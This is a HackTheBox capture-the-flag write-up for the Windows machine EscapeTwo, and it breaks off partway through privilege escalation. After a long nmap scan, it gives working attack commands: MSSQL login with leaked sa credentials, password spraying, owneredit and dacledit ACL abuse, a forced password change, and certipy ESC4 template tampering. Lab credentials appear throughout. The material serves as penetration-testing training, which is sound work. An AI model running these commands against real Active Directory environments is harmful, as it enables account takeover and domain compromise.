[HTB] Windows machine: EscapeTwo
[HTB] Windows machine: EscapeTwo
Enumeration
Port scan
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# Nmap 7.94SVN scan initiated Sun May 4 15:17:11 2025 as: /usr/lib/nmap/nmap -sC -sV -vv -oN ports -T4 -p- 10.10.11.51
Nmap scan report for 10.10.11.51
Host is up, received echo-reply ttl 127 (0.13s latency).
Scanned at 2025-05-04 15:17:11 CEST for 635s
Not shown: 65508 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-05-04 13:26:09Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after: 2025-06-08T17:35:00
| MD5: 09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
| SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
| -----BEGIN CERTIFICATE-----
| MIIGJjCCBQ6gAwIBAgITVAAAAANDveocXlnSDQAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBGMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
| MRcwFQYDVQQDEw5zZXF1ZWwtREMwMS1DQTAeFw0yNDA2MDgxNzM1MDBaFw0yNTA2
| MDgxNzM1MDBaMBoxGDAWBgNVBAMTD0RDMDEuc2VxdWVsLmh0YjCCASIwDQYJKoZI
| hvcNAQEBBQADggEPADCCAQoCggEBANRCnm8pZ86LZP3kAtl29rFgY5gEOEXSCZSm
| F6Ai+1vh6a8LrCRKMWtC8+Kla0PXgjTcGcmDawcI8h0BsaSH6sQVAD21ca5MQcv0
| xf+4TzrvAnp9H+pVHO1r42cLXBwq14Ak8dSueiOLgxoLKO1CDtKk+e8ZxQWf94Bp
| Vu8rnpImFT6IeDgACeBfb0hLzK2JJRT9ezZiUVxoTfMKKuy4IPFWcshW/1bQfEK0
| ExOcQZVaoCJzRPBUVTp/XGHEW9d6abW8h1UR+64qVfGexsrUKBfxKRsHuHTxa4ts
| +qUVJRbJkzlSgyKGMjhNfT3BPVwwP8HvErWvbsWKKPRkvMaPhU0CAwEAAaOCAzcw
| ggMzMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABs
| AGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQD
| AgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQME
| AgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglg
| hkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFNfVXsrpSahW
| xfdL4wxFDgtUztvRMB8GA1UdIwQYMBaAFMZBubbkDkfWBlps8YrGlP0a+7jDMIHI
| BgNVHR8EgcAwgb0wgbqggbeggbSGgbFsZGFwOi8vL0NOPXNlcXVlbC1EQzAxLUNB
| LENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl
| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0Yj9jZXJ0aWZp
| Y2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0
| aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGvMIGsBggrBgEFBQcwAoaBn2xkYXA6
| Ly8vQ049c2VxdWVsLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNl
| cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERD
| PWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlv
| bkF1dGhvcml0eTA7BgNVHREENDAyoB8GCSsGAQQBgjcZAaASBBDjAT1NPPfwT4sa
| sNjnBqS3gg9EQzAxLnNlcXVlbC5odGIwTQYJKwYBBAGCNxkCBEAwPqA8BgorBgEE
| AYI3GQIBoC4ELFMtMS01LTIxLTU0ODY3MDM5Ny05NzI2ODc0ODQtMzQ5NjMzNTM3
| MC0xMDAwMA0GCSqGSIb3DQEBCwUAA4IBAQCBDjlZZbFac6RlhZ2BhLzvWmA1Xcyn
| jZmYF3aOXmmof1yyO/kxk81fStsu3gtZ94KmpkBwmd1QkSJCuT54fTxg17xDtA49
| QF7O4DPsFkeOM2ip8TAf8x5bGwH5tlZvNjllBCgSpCupZlNY8wKYnyKQDNwtWtgL
| UF4SbE9Q6JWA+Re5lPa6AoUr/sRzKxcPsAjK8kgquUA0spoDrxAqkADIRsHgBLGY
| +Wn+DXHctZtv8GcOwrfW5KkbkVykx8DSS2qH4y2+xbC3ZHjsKlVjoddkjEkrHku0
| 2iXZSIqShMXzXmLTW/G+LzqK3U3VTcKo0yUKqmLlKyZXzQ+kYVLqgOOX
|_-----END CERTIFICATE-----
|_ssl-date: 2025-05-04T13:27:43+00:00; 0s from scanner time.
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after: 2025-06-08T17:35:00
| MD5: 09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
| SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
| -----BEGIN CERTIFICATE-----
| MIIGJjCCBQ6gAwIBAgITVAAAAANDveocXlnSDQAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBGMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
| MRcwFQYDVQQDEw5zZXF1ZWwtREMwMS1DQTAeFw0yNDA2MDgxNzM1MDBaFw0yNTA2
| MDgxNzM1MDBaMBoxGDAWBgNVBAMTD0RDMDEuc2VxdWVsLmh0YjCCASIwDQYJKoZI
| hvcNAQEBBQADggEPADCCAQoCggEBANRCnm8pZ86LZP3kAtl29rFgY5gEOEXSCZSm
| F6Ai+1vh6a8LrCRKMWtC8+Kla0PXgjTcGcmDawcI8h0BsaSH6sQVAD21ca5MQcv0
| xf+4TzrvAnp9H+pVHO1r42cLXBwq14Ak8dSueiOLgxoLKO1CDtKk+e8ZxQWf94Bp
| Vu8rnpImFT6IeDgACeBfb0hLzK2JJRT9ezZiUVxoTfMKKuy4IPFWcshW/1bQfEK0
| ExOcQZVaoCJzRPBUVTp/XGHEW9d6abW8h1UR+64qVfGexsrUKBfxKRsHuHTxa4ts
| +qUVJRbJkzlSgyKGMjhNfT3BPVwwP8HvErWvbsWKKPRkvMaPhU0CAwEAAaOCAzcw
| ggMzMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABs
| AGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQD
| AgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQME
| AgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglg
| hkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFNfVXsrpSahW
| xfdL4wxFDgtUztvRMB8GA1UdIwQYMBaAFMZBubbkDkfWBlps8YrGlP0a+7jDMIHI
| BgNVHR8EgcAwgb0wgbqggbeggbSGgbFsZGFwOi8vL0NOPXNlcXVlbC1EQzAxLUNB
| LENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl
| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0Yj9jZXJ0aWZp
| Y2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0
| aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGvMIGsBggrBgEFBQcwAoaBn2xkYXA6
| Ly8vQ049c2VxdWVsLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNl
| cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERD
| PWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlv
| bkF1dGhvcml0eTA7BgNVHREENDAyoB8GCSsGAQQBgjcZAaASBBDjAT1NPPfwT4sa
| sNjnBqS3gg9EQzAxLnNlcXVlbC5odGIwTQYJKwYBBAGCNxkCBEAwPqA8BgorBgEE
| AYI3GQIBoC4ELFMtMS01LTIxLTU0ODY3MDM5Ny05NzI2ODc0ODQtMzQ5NjMzNTM3
| MC0xMDAwMA0GCSqGSIb3DQEBCwUAA4IBAQCBDjlZZbFac6RlhZ2BhLzvWmA1Xcyn
| jZmYF3aOXmmof1yyO/kxk81fStsu3gtZ94KmpkBwmd1QkSJCuT54fTxg17xDtA49
| QF7O4DPsFkeOM2ip8TAf8x5bGwH5tlZvNjllBCgSpCupZlNY8wKYnyKQDNwtWtgL
| UF4SbE9Q6JWA+Re5lPa6AoUr/sRzKxcPsAjK8kgquUA0spoDrxAqkADIRsHgBLGY
| +Wn+DXHctZtv8GcOwrfW5KkbkVykx8DSS2qH4y2+xbC3ZHjsKlVjoddkjEkrHku0
| 2iXZSIqShMXzXmLTW/G+LzqK3U3VTcKo0yUKqmLlKyZXzQ+kYVLqgOOX
|_-----END CERTIFICATE-----
|_ssl-date: 2025-05-04T13:27:42+00:00; -1s from scanner time.
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2025-05-04T13:27:43+00:00; 0s from scanner time.
| ms-sql-ntlm-info:
| 10.10.11.51:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
| ms-sql-info:
| 10.10.11.51:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-05-04T11:35:16
| Not valid after: 2055-05-04T11:35:16
| MD5: a5b7:564e:acf8:5ae5:6644:e42d:3f46:6871
| SHA-1: 9950:986a:d915:85df:eaab:efd5:6c44:5180:38af:856c
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQG582u+q5TZZDah3DNt25dzANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjUwNTA0MTEzNTE2WhgPMjA1NTA1MDQxMTM1MTZaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKh06Ec/
| mqTOheRnnnNxpwhxAl4HemmQsmTIoE1lQjP0YGVju7OrSqopcbppGfXb5yhJYoMO
| h8y9C4PI+2EKw6YD7LjvVYebEDrTjuCVVF1/lsSodrR79O9GR2c3S0IigpTPdCJd
| Zy6FPwp1pdQ8QoIsABLIvvSLFU/TQhXkp/ziO9duCmC1VGKe1O1MOVr6rHfKp6+3
| FFN3jwt0dF0965jOPAbNSWd1SADLMhGM8HG04fGo/qbz1goeJtOD6bJWKZvCHz+h
| C41wUEnWA4ZIOtyeTIbmE5TVP3kCaD67gFgfHtNDaBt9oSe+l2aL4RuqTG3mwDzv
| /t6B3Uf0CVIEXmkCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAgDiAORFVijfhpKdc
| jtaET0R2yB5fODrlCuiDvFkWfYuOWsITHKlWaHR/gkKE7Bebd7yEfYK5nU0v6MwF
| G/tTLqa74l9CU17n6C3ZKzmM8GEf2OMjoN986VwOljIfZw3TS0kXMwRpiJ2d+9j+
| fUvQI0i0yPqnY8ZTWqRBJd/gjgdw9qOMRBaLEWAd8c7DHqkUBvratKc6p96Zq9Dw
| 0kLX3hsCf64JuWmf9z/Lvh6eHovhxcYDoTu5eizT4IavLJhWUQwGOIG3gtnVCPE1
| BEj0NLIF1C6aUANZ9EnnVSio49eR5OhVVrQJiwJ4OO79gNxK8S5x4La1ndEPwZsd
| ubyRAQ==
|_-----END CERTIFICATE-----
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-04T13:27:43+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after: 2025-06-08T17:35:00
| MD5: 09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
| SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
| -----BEGIN CERTIFICATE-----
| MIIGJjCCBQ6gAwIBAgITVAAAAANDveocXlnSDQAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBGMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
| MRcwFQYDVQQDEw5zZXF1ZWwtREMwMS1DQTAeFw0yNDA2MDgxNzM1MDBaFw0yNTA2
| MDgxNzM1MDBaMBoxGDAWBgNVBAMTD0RDMDEuc2VxdWVsLmh0YjCCASIwDQYJKoZI
| hvcNAQEBBQADggEPADCCAQoCggEBANRCnm8pZ86LZP3kAtl29rFgY5gEOEXSCZSm
| F6Ai+1vh6a8LrCRKMWtC8+Kla0PXgjTcGcmDawcI8h0BsaSH6sQVAD21ca5MQcv0
| xf+4TzrvAnp9H+pVHO1r42cLXBwq14Ak8dSueiOLgxoLKO1CDtKk+e8ZxQWf94Bp
| Vu8rnpImFT6IeDgACeBfb0hLzK2JJRT9ezZiUVxoTfMKKuy4IPFWcshW/1bQfEK0
| ExOcQZVaoCJzRPBUVTp/XGHEW9d6abW8h1UR+64qVfGexsrUKBfxKRsHuHTxa4ts
| +qUVJRbJkzlSgyKGMjhNfT3BPVwwP8HvErWvbsWKKPRkvMaPhU0CAwEAAaOCAzcw
| ggMzMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABs
| AGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQD
| AgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQME
| AgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglg
| hkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFNfVXsrpSahW
| xfdL4wxFDgtUztvRMB8GA1UdIwQYMBaAFMZBubbkDkfWBlps8YrGlP0a+7jDMIHI
| BgNVHR8EgcAwgb0wgbqggbeggbSGgbFsZGFwOi8vL0NOPXNlcXVlbC1EQzAxLUNB
| LENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl
| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0Yj9jZXJ0aWZp
| Y2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0
| aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGvMIGsBggrBgEFBQcwAoaBn2xkYXA6
| Ly8vQ049c2VxdWVsLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNl
| cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERD
| PWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlv
| bkF1dGhvcml0eTA7BgNVHREENDAyoB8GCSsGAQQBgjcZAaASBBDjAT1NPPfwT4sa
| sNjnBqS3gg9EQzAxLnNlcXVlbC5odGIwTQYJKwYBBAGCNxkCBEAwPqA8BgorBgEE
| AYI3GQIBoC4ELFMtMS01LTIxLTU0ODY3MDM5Ny05NzI2ODc0ODQtMzQ5NjMzNTM3
| MC0xMDAwMA0GCSqGSIb3DQEBCwUAA4IBAQCBDjlZZbFac6RlhZ2BhLzvWmA1Xcyn
| jZmYF3aOXmmof1yyO/kxk81fStsu3gtZ94KmpkBwmd1QkSJCuT54fTxg17xDtA49
| QF7O4DPsFkeOM2ip8TAf8x5bGwH5tlZvNjllBCgSpCupZlNY8wKYnyKQDNwtWtgL
| UF4SbE9Q6JWA+Re5lPa6AoUr/sRzKxcPsAjK8kgquUA0spoDrxAqkADIRsHgBLGY
| +Wn+DXHctZtv8GcOwrfW5KkbkVykx8DSS2qH4y2+xbC3ZHjsKlVjoddkjEkrHku0
| 2iXZSIqShMXzXmLTW/G+LzqK3U3VTcKo0yUKqmLlKyZXzQ+kYVLqgOOX
|_-----END CERTIFICATE-----
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after: 2025-06-08T17:35:00
| MD5: 09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
| SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
| -----BEGIN CERTIFICATE-----
| MIIGJjCCBQ6gAwIBAgITVAAAAANDveocXlnSDQAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBGMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
| MRcwFQYDVQQDEw5zZXF1ZWwtREMwMS1DQTAeFw0yNDA2MDgxNzM1MDBaFw0yNTA2
| MDgxNzM1MDBaMBoxGDAWBgNVBAMTD0RDMDEuc2VxdWVsLmh0YjCCASIwDQYJKoZI
| hvcNAQEBBQADggEPADCCAQoCggEBANRCnm8pZ86LZP3kAtl29rFgY5gEOEXSCZSm
| F6Ai+1vh6a8LrCRKMWtC8+Kla0PXgjTcGcmDawcI8h0BsaSH6sQVAD21ca5MQcv0
| xf+4TzrvAnp9H+pVHO1r42cLXBwq14Ak8dSueiOLgxoLKO1CDtKk+e8ZxQWf94Bp
| Vu8rnpImFT6IeDgACeBfb0hLzK2JJRT9ezZiUVxoTfMKKuy4IPFWcshW/1bQfEK0
| ExOcQZVaoCJzRPBUVTp/XGHEW9d6abW8h1UR+64qVfGexsrUKBfxKRsHuHTxa4ts
| +qUVJRbJkzlSgyKGMjhNfT3BPVwwP8HvErWvbsWKKPRkvMaPhU0CAwEAAaOCAzcw
| ggMzMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABs
| AGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQD
| AgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQME
| AgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglg
| hkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFNfVXsrpSahW
| xfdL4wxFDgtUztvRMB8GA1UdIwQYMBaAFMZBubbkDkfWBlps8YrGlP0a+7jDMIHI
| BgNVHR8EgcAwgb0wgbqggbeggbSGgbFsZGFwOi8vL0NOPXNlcXVlbC1EQzAxLUNB
| LENOPURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl
| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0Yj9jZXJ0aWZp
| Y2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0
| aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGvMIGsBggrBgEFBQcwAoaBn2xkYXA6
| Ly8vQ049c2VxdWVsLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNl
| cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERD
| PWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlv
| bkF1dGhvcml0eTA7BgNVHREENDAyoB8GCSsGAQQBgjcZAaASBBDjAT1NPPfwT4sa
| sNjnBqS3gg9EQzAxLnNlcXVlbC5odGIwTQYJKwYBBAGCNxkCBEAwPqA8BgorBgEE
| AYI3GQIBoC4ELFMtMS01LTIxLTU0ODY3MDM5Ny05NzI2ODc0ODQtMzQ5NjMzNTM3
| MC0xMDAwMA0GCSqGSIb3DQEBCwUAA4IBAQCBDjlZZbFac6RlhZ2BhLzvWmA1Xcyn
| jZmYF3aOXmmof1yyO/kxk81fStsu3gtZ94KmpkBwmd1QkSJCuT54fTxg17xDtA49
| QF7O4DPsFkeOM2ip8TAf8x5bGwH5tlZvNjllBCgSpCupZlNY8wKYnyKQDNwtWtgL
| UF4SbE9Q6JWA+Re5lPa6AoUr/sRzKxcPsAjK8kgquUA0spoDrxAqkADIRsHgBLGY
| +Wn+DXHctZtv8GcOwrfW5KkbkVykx8DSS2qH4y2+xbC3ZHjsKlVjoddkjEkrHku0
| 2iXZSIqShMXzXmLTW/G+LzqK3U3VTcKo0yUKqmLlKyZXzQ+kYVLqgOOX
|_-----END CERTIFICATE-----
|_ssl-date: 2025-05-04T13:27:42+00:00; -1s from scanner time.
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49689/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49691/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49698/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49720/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49728/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49799/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
61534/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 62012/tcp): CLEAN (Timeout)
| Check 2 (port 18505/tcp): CLEAN (Timeout)
| Check 3 (port 20179/udp): CLEAN (Timeout)
| Check 4 (port 46639/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
| date: 2025-05-04T13:27:04
|_ start_date: N/A
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 4 15:27:46 2025 -- 1 IP address (1 host up) scanned in 634.61 seconds
Exploitation
From rose to sql_svc
This is an assuemed breach scenario, we are given the credentials of the user rose.
1
rose:KxEPkKe6R8su
We can start our enumeration from examining the SMB server to see if we have access to some non-default share:
Exploring the Account Department share, using smbclient, we get the access to two .xlsx files.
1
smbclient -U sequel.htb/rose "\\\\10.10.11.51\\Accounting Department"
The file accounts.xslx contains different credentials:
By spraying this credentials we can notice how
1
sa:MSSQLP@ssw0rd!
Are valid credentials for connecting to the mssql database hosted on the machine.
By connecting to the database using:
1
impacket-mssqlclient sequel.htb/sa:'MSSQLP@ssw0rd!'@10.10.11.51
We can notice that we have the permission to enable xp_cmdshell, and therefore obtain a reverse shell.
From sql_svc to ryan
Exploring the filesystem using the sql_svc account, under the path:
1
C:\SQL2019\ExpressAdv_ENU
We have a config file that reveals the credentials of the sql_svc user:
Spraying this credentials we discover that the same password is used by the user ryan:
1
nxc smb 10.10.11.51 -u users -p 'WqSZAF6CysDQbGb3' --continue-on-success
From ryan to ca_svc
Looking at Bloodhound, we notice that ryan has WriteOwner privilege over ca_svc.
This means that, using the user ryan, we can first change the owner of the ca_svc user, then grants ourself the GenericAll permission over the same object and, in the end, force a password change for the ca_svc user.
First step, changing the ownership:
1
impacket-owneredit -action write -new-owner 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
Second step, changing the permissions over the object:
1
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
Third step, forcing a password change:
1
net rpc password "ca_svc" "newP@ssword2022" -U "sequel.htb"/"ryan"%"WqSZAF6CysDQbGb3" -S "dc01.sequel.htb"
From ca_svc to Administrator
By doing an educated guess, based on the name of the user, or by looking at the group membership of the ca_svc user, we can assume that an AD Certificate Service is running. 
Using certipy, we can check if any certificate template is vulnerable or if we have any dangerous permission over the CA/over some templates:
1
certipy find -u 'ca_svc' -p 'newP@ssword2022' -dc-ip 10.10.11.51 -stdout -vulnerable
The template DunderMifflinAuthentication is vulnerable to ESC4
What is ESC4?
Here a brief explaination on what ESC4 means, and how it is abused to obtain privilege escalation. The user ca_svc has write permission over this certificate template as stated by the Write Property Principals property. This means that we can change the parameters of this certificate such that it then become vulnerable to another class of ADCS attack, such as ESC1.
To make a template vulnerable, the following attributes need to be modified with the specified values:
- Grant Enrollment rights for the vulnerable template.
- Disable the
PEND_ALL_REQUESTSflag inmspki-enrollment-flagto deactivate Manager Approval. - Set the
mspki-ra-signatureattribute to0to disable theAuthorized Signature requirement. - Enable the
ENROLLEE_SUPPLIES_SUBJECTflag inmspki-certificate-name-flagto allow requesting users to specify another privileged account name as aSAN. - Set the
mspki-certificate-application-policyto a certificate purpose for authentication:- Client Authentication (OID: 1.3.6.1.5.5.7.3.2)
- Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)
- PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)
- Any Purpose (OID: 2.5.29.37.0)
- No Extended Key Usage (EKU)
This will make the certificate vulnerable to ESC1
Exploiting ESC4
Luckily for us, certipy does all the hard work for us (yes, this is not opsec safe, we don’t care)
1
certipy template -u 'ca_svc@sequel.local' -p 'newP@ssword2022' -template DunderMifflinAuthentication -save-old -dc-ip 10.10.11.51
Querying again the certificates will show that now the same template is vulnerable to ESC1
1
